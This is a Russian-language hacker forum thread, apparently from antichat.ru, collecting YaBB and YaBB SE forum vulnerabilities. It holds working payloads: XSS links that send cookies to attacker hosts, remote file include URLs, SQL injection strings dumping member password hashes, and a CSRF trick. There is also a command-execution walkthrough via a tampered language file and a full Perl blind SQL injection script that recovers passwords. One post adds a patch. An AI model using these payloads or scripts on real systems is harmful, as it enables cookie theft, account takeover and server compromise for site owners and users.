PDA

Просмотр полной версии : [Обзор Уязвимостей Yabb]


_-[A.M.D]HiM@S-_
05.11.2006, 19:35
Начнёмс....

YaBB 1 Gold
Уязвимость в YaBB(http://www.yabb.org/) позволяет удаленному пользователю вставлять произвольный код сценария в страницы сообщения об ошибках. Уязвимость может использоваться для кражи опознавательных мандатов пользователей YaBB, хранящихся в куки.
Пример:
http://some.site.com/cgi-bin/YaBB/YaBB.cgi?board=BOARD&action=display&num=<script>alert()</script>
Описание:атакующий может сконструировать специальную ссылку, содержащую произвольный код сценария, при клике на которую код будет выполнен в браузере пользователя, кликнувшего на эту ссылку
Пример:
http://www.area51experience.com.ar/foro/YaBB.pl?board=gral;action=display;
num=10360245269<Script>location%3d'Http://url/x.php?Cookie%3d'%2b(document.cookie)%3b</Script>
YaBB 1.2
Пример:
http://site.com/yapBB/include/global.php?GLOBAL[includeBit]=1&cfgIncludeDirectory=http://attacer.com/
Код вставки :
$dire="/home";
$ob=opendir("$dire");
while($filen=readdir($ob)){
$dire2=realpath("$dire");
if ( is_dir("dire2/$filen") == TRUE ){$d="[Dir]";} else {$d=NULL;}
print "$d $filen

";}
closedir($ob);
?>
Видео:http://video.antichat.ru/download_183.html
YaBB 1.3.2
Описание:Злонамеренный пользователь может опубликовать сообщение, содержащее изображение, которое ссылается на URL, используемый при выполнении административных действий. В результате административное действие будет автоматически выполнено, когда администратор читает сообщения форума.
Пример:
http://[victim]/YaBB.pl?board=;action=modifycat;id=[cateogoryname];moda=Remove2
YaBB 1.4.0-1.4.1
Описание:Межсайтовый скрптинг обнаружен в сценарии входа в систему
Пример:
http://example.com/forums/index.php?
board=;action=login2&user=USERNAME&cookielength=120&passwrd=PASSWORD<script>
window.location.href(%22http://www.attackersite.example.com/hack.asp?%22%2Bdocument.cookie)</script>

http://www.area51experience.com.ar/foro/YaBB.pl?board=gral;action=display;
num=10360245269<Script>location%3d'Http://url/x.php?Cookie%3d'
%2b(document.cookie)%3b</Script>

SQL
Описание:Проблема обнаружена в сценарии Reminder.php.
http://www.myserver.com/yabbse/Reminder.php?
searchtype=esearch&user=[yourusername]'%20or%20memberName='[otherusername]
YaBB SE 1.5.1
Описание:Удаленный пользователь может выполнить XSS нападение.
Пример:
Big Exploit

Big Exploit
YaBB SE 1.5.5c
Описание:Уязвимость существует из-за недостаточной обработки входных данных в параметре "user" в сценарии Sources/Profile.php
Возможность выполнять SQL команды в базе данных:
Пример:
http://[host]/index.php?board=&action=viewprofile&user=[code]
YaBB SE 1.5.4, 1.5.5
Описание: Уязвимость обнаружена в параметре 'quote'
Пример:
http://localhost:8080/yabbse//inde
x.php?board=1;sesc=13a478d8aa161c2231e6d3b36b6d19f 2;action=post;threadid=1;title=Post+reply;
quote=-12)+UNION+SELECT+passwd,null,null,null,null,null,n ull,null,null+FROM+ yabbse_members+where+ID_ME
YaBB SE 1.5.4, 1.5.3
Описание: Уязвимость обнаружена в YaBB SE в 'SSI.php'.
Пример:
http://[target]/yabbse/SSI.php?function=recentTopics&ID_MEMBER=1+OR+1=2)
+LEFT+JOIN+yabbse_log_mark_read+AS+lmr+ON+(lmr.ID_ BOARD=t.ID_BOARD+AND+
lmr.ID_MEN+SELECT+ID_MEMBER,+
memberName,null,passwd,null,passwd,null,null,null, null,null,null+
FROM+yabbse_members+/*

http://[target]/yabbse/SSI.php?function=recentTopics&ID_MEMBER =1+OR+1=1)
+LEFT+JOIN+yabbse_log_mark_read+AS+lmr+ON+(lmr.ID_ BOARD=t.ID_BOARD+AND+lmr.ID_ME
ull,null+FROM+yabbse_members+/*

http://[target]/yabbse/SSI.php?function=welcome&username=evilhaxor&ID_MEMBER=1+OR+1=2)+GROUP+BY+readBy+UNION+SELECT+A SCII(SUBSTRING(realName,1,1)+)+
Эксплоит: http://kolokol.ho.com.ua/exploit

YaBB 2
XSS
Позволяет украсть куки пользователей.
[U*L]http://www.[U*L=http://wj.com/style=display:none;background:url(javascript:docum ent.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;) ]wj[/U*L][/U*L]
YaBB SE
SQL Error + XSS(passive 3шт.)
http://site/forum/index.php?board='

http://site/forum/index.php?board=1;action=display;threadid='

http://site/forum<script>alert()</script>

http://site/forumindex.php?board=1;action=icqpager;UIN=<script>alert()</script>

http://site/forumindex.php?board=1;action=post;threadid=1;quot e=2;title=net</title><script>alert("hacked%20by")</script>
(меняем заголовок страницы на "net" и закрывает тэг заголовка. так мы не светимся. а дальше скрипт для сниффера - как всегда)

Описание:Файл 'Packages.php' включает сценарий 'Packer.php
Пример:
http://[target]/yabbse/Sources/Packages.php?sourcedir=http://attacker/

P/s:Думаю полезно будет почитать:)
И неругайтесь сильно :(

_-[A.M.D]HiM@S-_
22.01.2007, 14:14
*************Внимание - Внимание*****************
Уважаемые пользователи, стыд да срам. Впредь флуд в этой теме, а также в подобных темах, будет строго наказываться. Это первое и последнее предупреждение.
*************Внимание - Внимание*****************

*************Attention - Attention*****************
Dear users, shame on you. Flood in this and similar themes will be strictly punished from now. It is last warning
*************Attention - Attention*****************

ettee
10.10.2007, 00:35
Базы инклудов + простой GET-чекер.
Download (http://someshit.net/files/yabb_mod_autoincluder.rar)

Solide Snake
31.10.2007, 20:18
YaBBSM 3.0.0 (Offline.php) Remote File Include Vulnerability

[DESCRIPTION] Remote file include vuln found by sZ [oct 09, 2006]
[SOFTWARE] Supermod 3.0 for yabb
[VENDOR URL] http://www.supermod.org
[DORK] YaBBSM V2.5.0 // Powered by YaBBSM V2.5.0 Based on YABB SE
[NOTES] greetz to: neo-vortex, sk0tie, icez, Solano College CIS students.


VULN:
Offline.php
include("$sourcedir/pclzip.lib.php");
They forgot to include settings.php, this file seems to not exist sometimes.

VULN:
Sources/Admin.php
include_once("$sourcedir/Recent.php");

VULN:
Sources/Offline.php
include_once("$sourcedir/Recent.php");

VULN:
content/portalshow.php
include_once "$sourcedir/Calendar.php";

[EXAMPLE] http://site.com/community/Offline.php?sourcedir=http://shellurl.com/phpcommands.txt?

# milw0rm.com [2006-10-13]

iddqd
27.12.2007, 01:57
http://www.example.com/YaBB.pl?board=;action=imsend;to=%22%3E%3Cscript%3E alert(document .cookie)%3C/script%3E

Elekt
12.01.2008, 16:43
_http://www.securitylab.ru/vulnerability/298015.php

21 июня, 2007
Программа: YaBB 2.1, возможно более ранние версии.

Опасность: Низкая

Наличие эксплоита: Нет

Описание:
Уязвимость позволяет локальному пользователю повысить свои привилегии на системе.

Уязвимость существует из-за недостаточной обработки входных данных в параметре "userlanguage" в сценарии YaBB.pl. Злоумышленник может просмотреть содержимое определенных файлов на системе. Для удачной эксплуатации уязвимости злоумышленнику требуется валидная учетная запись в приложении а также консоль или доступ по FTP к системе.

======

Может найдется желающий разобраться как работет баг и довести дело до конца(всмысле до эксплоита)?

iddqd
20.01.2008, 02:30
Уязвимость присутствует в переменной $language, которую пользователь может менять в своем профиле.

Уязвимые скрипты, содержащие переменную $language:

Sources/HelpCentre.pl, строка 139


if (-e ("$helpfile/$language/$help_area/$line.help")) {
require "$helpfile/$language/$help_area/$line.help";
}


Sources/Subs.pl, строка 1529


if (-e "$langdir/$use_lang/$what_to_load.lng") {
require "$langdir/$use_lang/$what_to_load.lng";
}


Sources/ICQPager.pl, строка 21


if ($language) { require "$langdir/$language/ICQ.lng"; }


Sources/Post.pl, строка 1838


if (-e "$langdir/$actlang/Notify.lng") { require "$langdir/$actlang/Notify.lng"; }


Sources/Post.pl, строка 1863

if (-e "$langdir/$actlang/Notify.lng") { require "$langdir/$actlang/Notify.lng"; }

Sources/Post.pl, строка 1880


if (-e "$langdir/$actlang/Notify.lng") { require "$langdir/$actlang/Notify.lng"; }


Sources/InstantMessage.pl, строка 1080


if (-e "$langdir/$actlang/InstantMessage.lng") { require "$langdir/$actlang/InstantMessage.lng"; }


Sources/InstantMessage.pl, строка 1082

if (-e "$langdir/$actlang/InstantMessage.lng") { require "$langdir/$actlang/Main.lng"; }

Exploit

Как было указано в предыдущем посте, для успешной эксплуатации уязвимости необходим доступ по FTP или SSH.
Нужно изменить содержимое файла English/HelpCentre.lng
с:

%helptxt = (
'1' => "Help Section",
'2' => "Contents",


на:

$content="<br><br><br><br><font color=red>";
$content.=`$INFO{'cmd'}`;
$content.
="</font><br><br><br><br>";
%helptxt = (
'1' => "Help Section",
'2' => $content,


Далее в профиле пользователя меняем значение параметра 'userlanguage' на:

"../../путь/до/папки/English/"

С помощью браузера переходим в раздел "Help":

http://site.com/yabb2/YaBB.pl?action=help

С помощью дописанной нами переменной 'cmd' можно выполнять произвольные команды на сервере:

http://site.com/yabb2/YaBB.pl?action=help&cmd=id

http://site.com/yabb2/YaBB.pl?action=help&cmd=uname%
20-a
и т.п.

Патч



Для исправления уязвимости необходимо ввести фильтрацию переменной 'userlanguage' в модуле профиля пользователя.
Для этого вносим изменения в код скрипта

Sources/Profile.pl, строка 1225:

этот кусок кода

if ($member{'userlanguage'} !~ m^\A[0-9a-zA-Z_\.\#\%\-\:
\+\?\$\&\~\.\,\@/]+\Z^ && $member{'userlanguage'} ne "") { &fatal_error($profile_txt{'815'}); }


меняем на:


if ($member{'userlanguage'} !~ m^\A[0-9a-zA-Z_\.\#\%\-\:
\+\?\$\&\~\.\,\@]+\Z^ && $member{'userlanguage'} ne "") { &fatal_error($profile_txt{'815'}); }


Теперь в переменной 'userlanguage' будет фильтоваться символ /, что предотвратит возможность инклуда.

iddqd
23.01.2008, 16:27
Remote Command Execution

Vulnerable: YaBB SE <= 1.5.5

Exploit:

http://milw0rm.com/exploits/4963

[x60]unu
08.11.2009, 23:58
YapBB <= 1.2 Blind SQL Injection Exploit
#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

sub usage
{
die "\nYapBB <= 1.2 Blind SQL Injection Exploit".
"\n[?] Author : darkjoker".
"\n[?] Site : http://darkjoker.net23.net".
"\n[?] CMS Site: http://yapbb.sourceforge.net/".
"\n[?] Usage : perl ${0} <hostname> <path> <username> [<key_list>]".
"\n[?] Ex. : perl ${0} localhost /YapBB root abcdefghijklmnopqrstuvwxyz".
"\n\n";
}

sub query
{
my ($user, $chr, $pos) = @_;
my $query = "123 OR IF ((ASCII(SUBSTRING((SELECT password FROM ".
"forum_user WHERE nickname = '${user}'),${pos},1))=${chr}),BENCHMARK(200000000, CHAR(0)),0)";
$query =~ s/ /%20/g;
$query =~ s/'/%27/g;
return $query;
}

sub exploit
{
my ($hostname, $path, $user, $chr, $pos) = @_;
$chr = ord ($chr);
my $sock = new IO::Socket::INET (
PeerHost => $hostname,
PeerPort => 80,
Proto => "tcp"
) or die "\n[!] Exploit failed.\n\n";

my $query = query ($user, $chr, $pos);
my $request = "GET ${path}/forumhop.php?action=next&forumID=${query} HTTP/1.1\r\n".
"Host: ${hostname}\r\n".
"Connection: Close\r\n\r\n";

my $a = time ();
print $sock $request;
$_++ while (<$sock>);
$a = ($a - time ()) * -1;
close ($sock);

return 1 if ($a > 4);
return 0;
}

my ($hostname, $path, $user, $k_list) = @ARGV;
usage unless ($user);
my @key = split ("", ($k_list) ? $k_list : "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWX YZ0123456789");
my $chr = 0;
my $pos = 1;
my $password;
while ($chr < scalar (@key))
{
if (exploit ($hostname, $path, $user, $key [$chr], $pos))
{
$password .= $key [$chr];
$chr = 0;
$pos++;
}
else
{
$chr++;
}
}

print "\n[+] Password: ${password}\n\n";